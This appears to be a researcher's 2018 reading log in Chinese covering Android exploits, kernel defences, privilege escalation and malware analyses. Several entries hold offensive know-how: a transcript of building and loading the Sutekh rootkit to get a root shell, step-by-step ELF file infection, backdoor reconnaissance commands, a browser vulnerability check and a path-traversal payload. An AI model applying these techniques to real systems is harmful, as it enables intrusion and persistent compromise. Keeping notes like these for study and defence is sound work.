12-14
三星手机远程代码执行漏洞Remote Code Execution as System User on Android 5 Samsung Devices abusing WifiCredService (Hotspot 2.0)
12-03
Frida好的文章的收集
使用frida来脱壳:
https://www.anquanke.com/post/id/163390
11-15
CTF pwn 中最通俗易懂的堆入坑指南
https://www.anquanke.com/post/id/163971#h2-6
虚拟内存的结构:
堆的基本结构:
堆管理器 ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。
几个堆的数据结构:
10-24
利用ARM MMU硬件特性开启安卓8终端的上帝模式
理解PAN和PXN是啥?
https://bbs.pediy.com/thread-228453.htm
PXN:内核不能直接执行用户态代码
PAN:内核无法直接访问用户态数据
10-16
Control Flow Integrity in the Android kernel
https://android-developers.googleblog.com/2018/10/control-flow-integrity-in-android-kernel.html
Android Kernel Control flow Integrity分析
目前,常见的劫持内核执行流有三种方式:
(1)修改函数返回地址;
内核普遍开启CC_STACKPROTECTOR_STRONG配置,单一的栈溢出漏洞很难修改函数返回地址。
(2)修改函数指针;
修改函数指针比较容易,搭配代码重用攻击(例如ROP),攻击者可以在内核执行自己的代码。
但是到了clang之后 出现了CFI
(3)修改系统调用表/异常向量表。
系统调用表/异常向量表的内存属性为只读,想要修改其中项,需要先修改相应页表属性。
在函数指针前出入一段check代码:
https://c0reteam.org/2018/09/17/kcfi
10-11
BSidesLV-Talk-Treble-or-Trouble
由谷歌的新设计Treble-or-Trouble进而引出的漏洞
https://blog.zimperium.com/wp-content/uploads/2018/08/BSidesLV-Talk-Treble-or-Trouble.pdf
9-21
浏览器UI漏洞白皮书:
https://xlab.tencent.com/cn/2017/10/16/browser-ui-security-whitepaper/
UI漏洞的实例: 字符欺骗
https://xlab.tencent.com/en/2018/11/13/cve-2018-4277/
pwn2own上攻破谷歌浏览器的漏洞cve-2015-6764
漏洞检测代码
<html>
<script>
var array = [];
var funky = {
toJSON: function() { array.length = 1; return "funky"; }
};
for (var i = 0; i < 10; i++) array[i] = i;
array[0] = funky;
var expected = '["funky",null,null,null,null,null,null,null,null,null]';
var expected2 = '["funky"]';
var result = JSON.stringify(array);
console.log(result);
if(result===expected||result===expected2){
console.log("result=safe");
}else{
console.log("result=vulnerable");
}
</script>
</html>
https://github.com/secmob/cansecwest2016/blob/master/exploit.html
9-10
短网址攻击与防御
- 进制算法
- 随机数算法
- HASH算法
进制算法导致的问题:
攻击案列:
1.爆破获取大量服务,敏感信息
2.攻击业务链
3.链接中存在其他web方面的漏洞
防御措施
补救措施(存量)
1、 增加单IP访问频率和单IP访问总量的限制, 超过阈值进行封禁。
2、 对包含权限、 敏感信息的短网址进行过期处理。
3、 对包含权限、 敏感信息的长网址增加二次鉴权
改造措施(增量)
1、 不利用短网址服务转化任何包含敏感信息、 权限的长网址。
2、 尽量避免使用明文token等认证方式。
8-31
30 理解何为ssl-pinning
HTTPS实际上是由HTTP协议与TLS协议组合而成的一个协议
如何突破TLS 实现中间人劫持
https://www.jianshu.com/p/22b56d977825
8-29
29.Android安全开发之通用签名风险
了解签名的过程,并看了三种绕过方式。
https://segmentfault.com/a/1190000006205334
https://blog.csdn.net/AliMobileSecurity/article/details/52087911
8-15
28.Man-in-the-Disk:新的针对 Android App 的攻击面
Android应用在sd上的操作并不安全
https://www.anquanke.com/post/id/156149
英文原版:https://research.checkpoint.com/androids-man-in-the-disk/
8-10
27.编译器优化导致的漏洞
http://blogs.360.cn/blog/eos官方api中asset结构体的乘法运算溢出漏洞描述/
并且默认开启了编译器优化,优化级别是O3,比较激进的一个级别。
7-26
26:浏览器保存密码的获取的新思路
https://bbs.pediy.com/thread-230110.htm 用于取证
7-23
###25:Android 反hook的思路
https://d3adend.org/blog/?p=589
中文翻译:https://blog.csdn.net/fzs4idiot/article/details/52155849
https://www.anquanke.com/post/id/85427 梆梆加固的病毒 增加了一条套路 kill 相关进程
7-19
24 roit骚气的反作弊行为
https://engineering.riotgames.com/news/riots-approach-anti-cheat
7-16
23 Hussarini——一个正将菲律宾作为攻击目标的后门
入口:CVE-2017-11882钓鱼
释放%Temp%目录中放入两个文件。
l Outllib.dll (dll劫持)
l OutExtra.exe
Outllib.dll实际上是Hussarini后门,一个能够导出包含恶意代码的函数的DLL。执行文件OutExtra.exe时,会调用其中一些函数,从而有效地执行其恶意代码。
l systeminfo –获取计算机的系统信息
l arp –a – 查看IP地址到MAC地址的映射
l ipconfig /all – 显示所有当前的TCP/IP网络配置值
l netstat -ano – 显示协议统计信息和当前TCP/IP网络连接
l tasklist -v –用于所有任务运行的应用程序和服务列表及其进程ID(PID)。
l net start –启动正在运行的各种服务
l net view –显示网络上可见的其他计算机
l dir “c:users” /o-d –显示所有用户
在发送这些cmd命令后,C&C会停止响应。这可能是黑客决定在看到这些命令的结果后阻止连接。
根据其代码,这个恶意软件能够执行以下来自黑客的命令:
l 创建读、写文件
l 下载并执行文件/组件
l 使用cmd.exe启动远程shell
动态域名
7-12
22 漏洞挂马网站趋势分析
http://drops.xmd5.com/static/drops/papers-8025.html
7-11
21 蜜罐与内网安全
https://sosly.me/index.php/2017/08/23/goldenspark1/
7-6
###20 PE文件全解析
http://www.4hou.com/system/7782.html
熟悉PE结构(IAT INT )
pe结构
6-25
19.利用定时任务进行linux 特权升级
介绍了crontab的特性
https://www.anquanke.com/post/id/149325
同时使用了通配符注入,进行权限提升
cat --help
http://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
6-21
18.http://akaedu.github.io/book/ch34s01.html
xshell 登录后终端上按键显示特别慢的问题
6-20
###17 linux 一个rootkit后门
更改uid 1337进程的属性,当程序使用setuid(1337)时 即可获得root权限进行操作。
https://github.com/PinkP4nther/Sutekh
复现成功:
test@ubuntu:~/Desktop/attack-demo/c-mitx3$ uname -a
Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
test@ubuntu:~$ git clone https://github.com/PinkP4nther/Sutekh
Cloning into 'Sutekh'...
remote: Counting objects: 36, done.
remote: Compressing objects: 100% (34/34), done.
remote: Total 36 (delta 17), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (36/36), done.
Checking connectivity... done.
test@ubuntu:~$ cd Sutekh
test@ubuntu:~/Sutekh$ ls
getroot.c Makefile README.TXT sutekh.c
test@ubuntu:~/Sutekh$ make
make -C /lib/modules/4.2.0-27-generic/build M=/home/test/Sutekh modules
make[1]: Entering directory `/usr/src/linux-headers-4.2.0-27-generic'
CC [M] /home/test/Sutekh/sutekh.o
/home/test/Sutekh/sutekh.c: In function ‘mal_suidcall’:
/home/test/Sutekh/sutekh.c:42:3: warning: format ‘%hu’ expects argument of type ‘int’, but argument 2 has type ‘kuid_t’ [-Wformat=]
printk(KERN_INFO "[+] UID = %hu\n[+] EUID = %hu",current->cred->uid,current->cred->euid);
^
/home/test/Sutekh/sutekh.c:42:3: warning: format ‘%hu’ expects argument of type ‘int’, but argument 3 has type ‘kuid_t’ [-Wformat=]
/home/test/Sutekh/sutekh.c: In function ‘hload’:
/home/test/Sutekh/sutekh.c:91:2: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘void **’ [-Wformat=]
printk(KERN_INFO "[+] Got sys call table address: 0x%x",sct_address);
^
Building modules, stage 2.
MODPOST 1 modules
CC /home/test/Sutekh/sutekh.mod.o
LD [M] /home/test/Sutekh/sutekh.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-27-generic'
test@ubuntu:~/Sutekh$ gcc getroot.c -o getroot.c
test@ubuntu:~/Sutekh$ sudo insmod sutekh.ko
[sudo] password for test:
test@ubuntu:~/Sutekh$ ./getroot.c
[+] UID = 0
[+] EUID = 0
[!!!] Popping r00t shell!!!
root@ubuntu:~/Sutekh#
6-15
###16 开源Web服务器GoAhead漏洞CVE-2017-17562分析
分析漏洞如何使用 LD_PRELOAD
https://habo.qq.com/news/detail/ADQGZl1q
6-13
##15.关于QQ空间的两篇灰产
http://www.freebuf.com/articles/network/174614.html
1.第三方授转发动态
2.网络钓鱼
3.获取QQ cookie, uin值和skey值是进不去QQ空间的重点有个吧uin值和skey值转换成sid值才能进到QQ空间发空间。
对应云盘黑色产业链:
http://www.freebuf.com/special/174473.html
1.来源,主要是含有漏洞的摄像头~
6-12
##14.几道pwn题的writeup
https://www.anquanke.com/post/id/147285
Robot:scanf溢出
6.6
13.Aceessbility点击劫持攻击
https://sec.xiaomi.com/article/36
https://www.zscaler.com/blogs/research/rumms-malware-back-enhancements
6.5
12.BEC智能合约致命漏洞(整数溢出)
https://www.anquanke.com/post/id/146702
1.合约代码里存在整数溢出漏洞
6.4
11.棋牌类游戏木马分析
https://www.anquanke.com/post/id/146848
1.修改游戏组件
2.篡改系统组件
3.放置后门
pass杀软的方法:白利用,断网执行,使用游戏组件诱导杀软进入游戏模式。
6.3
10.diff和patch的用法
https://linux.cn/article-9710-1.html
diff -urN test1 test2 >1.patch
patch rc.lua.4.2 -i 1.patch -o rc.lua
5.22
9.Linux系统之Redis扩散病毒继续分析
理解他如何清除痕迹 如何蠕虫扩散
http://www.freebuf.com/articles/system/171458.html
5.21
8.软件断点调试原理和系统中断页表
int 0x03 断点原理:https://blog.csdn.net/trochiluses/article/details/20209593
中断向量表:https://baike.baidu.com/item/中断向量表
5.18
7.ELF文件静态注入
ELF文件格式:主要注意重定位的内容
https://blog.csdn.net/feglass/article/details/51469511
然后就是ELF文件的静态感染,手动实现
我们做感染时的修改方式为:
(1)复制整个program_header_table,将它移动到文件尾。
(2)复制一个program_table_element,添加在新program_header_table后面。
(3)修改elf_header.e_phoff指向新program_header_table,并且将elfheader.e_phnum的值加1。
(4)从图3中的“1”,“2”得到字符串表的位置,并且复制到文件尾
(5)修改新字符串表,添加自定义模块名,本文使用“libhello.so"
(6) 修改新添加的program_table_element,p_type为PT_Load,p_offset为新program_table_header的文件偏移,p_filesz和p_memsz为新添加数据的长度,修改p_flags为“7",即可读可写可执行。修改p_vaddr和p_paddr时注意不能与前面两个PT_Load段的地址有重叠。
(7)修改program_header_table.program_table_element[0]中的p_offset和p_filesz为新program_header_table的位置和大小,修改p_vaddr,p_paddr和p_memsz为新program_header_table映射到内存的位置和大小。
(8)修改图3中的"1""2"为新字符串表的位置和大小,这里要注意DT_STRTAB必须为虚拟地址而不是文件偏移。
(9)在图3的"4"处添加一个DT_NEEDED指向自定义so的名称字符串“libhello.so"。
http://gslab.qq.com/portal.php?mod=view&aid=163
补充:增加section和section/函数加密
https://blog.csdn.net/jiangwei0910410003/article/details/49962173
https://blog.csdn.net/jiangwei0910410003/article/details/49966719
5.16
6.突破Android P(Preview 1)对调用隐藏API限制的方法
https://mp.weixin.qq.com/s/4k3DBlxlSO2xNNKqjqUdaQ
观察Android源码对隐藏API的限制原理和实现,然后说明了如何pass该限制的三种方法。
5.15
5.Android路径穿越漏洞分析
<几种通用的安卓平台路径穿越漏洞的挖掘与利用>
议题总结了安卓平台下路径穿越类漏洞的各种利用场景和挖掘方法,通过我们发现的qq,腾讯邮箱,网易邮箱,搜狗浏览器等app中的漏洞实例讲解了此类漏洞的危害和一些通用的利用方法
路径穿越解读:https://www.anquanke.com/post/id/145005#h2-4
原PPT:https://pan.baidu.com/s/1jAAGvukDuWp5ijAEk1EWQw
持续关注ZipperDown:https://www.anquanke.com/post/id/145124
5-14
###4 Android 的Got表Hook
refer:https://mp.weixin.qq.com/s/R0iFszBpQ1IcjbZoQZdqoA
注意linker的部分:
等一下!我们似乎发现了什么!再看一遍重定位操作(relocate)的部分。难道我们只要从这些 .relxxx 中获取到“目标地址”,然后在“目标地址”中重新填上一个新的函数地址,这样就完成 hook 了吗?也许吧。
原理:先找到加载的库里面加载函数的在内存中的地址 取出 修改可读写权限 变更为另一个我们自己的函数
Android进程的so注入–Poison(稳定注入版)
https://blog.csdn.net/QQ1084283172/article/details/53869796
inlinehook的 讲解 :
http://ele7enxxh.com/Android-Arm-Inline-Hook.html
理解如何修正指令和边界范围 最后再用我们自己的函数替换 要hook的函数
5-11
3.移动灰产之改机软件
refer:https://www.anquanke.com/post/id/129780
修改手机基本信息,进行引流。黑灰产从业者会通过自动批量的操作,以及更高明的“文案”,在短时间,完成大量引流。如此例所示,通过美女视频或图片引流来的用户在业内中称为“色粉”,大多为男性用户,可被定向引流至销售男性用品的微商,或被诱导发红包观看色情视频,最终上当受骗。
与抢单,或者薅羊毛不同 因为没有涉及到手机所以没有批量注册的功能。同时抢到需要多个协议支持。
手机验证码常见漏洞总结:
验证码漏洞最常见的是短信轰炸(无间隔下发,无线下发)
https://mp.weixin.qq.com/s/jtJl2GFacMyRCQsBUiTVSA
强力推荐:薅羊毛灰产研究报告
http://image.3001.net/uploads/pdf/4aa87c46888173995c295a873c2aa682.pdf
移动博彩类:https://mp.weixin.qq.com/s/aOlZmdzzye2AsqGDa3hcbg
互联网黑灰产工具软件安全报告:https://www.anquanke.com/post/id/160026
5-10
2. LG智能手机上的远程执行代码漏洞,利用两个漏洞进行
refer:https://research.checkpoint.com/lg-keyboard-vulnerabilities/
第一个漏洞:硬编码更新服务器,并使用不安全的HTTP进行连接。
攻击方式:中间人劫持,并下方恶意代码。
第二个漏洞:路径穿越
利用 …/…/…/files/attack.so 使输入法加载我们的恶意so,完成恶意代码远程执行
5-09
1.详解Linux权限提升
refer:https://www.anquanke.com/post/id/98628#h3-8
- 内核开发
- 利用正在以root身份运行的服务
- 利用可执行文件SUID
- 利用SUDO权限/用户
- 利用未正确配置的CRON任务
- 在用户路径上利用’.’实现利用
7.LD_PRELOAD https://blog.csdn.net/haoel/article/details/1602108
8.IFS漏洞 http://www.dankalia.com/tutor/01005/0100501004.htm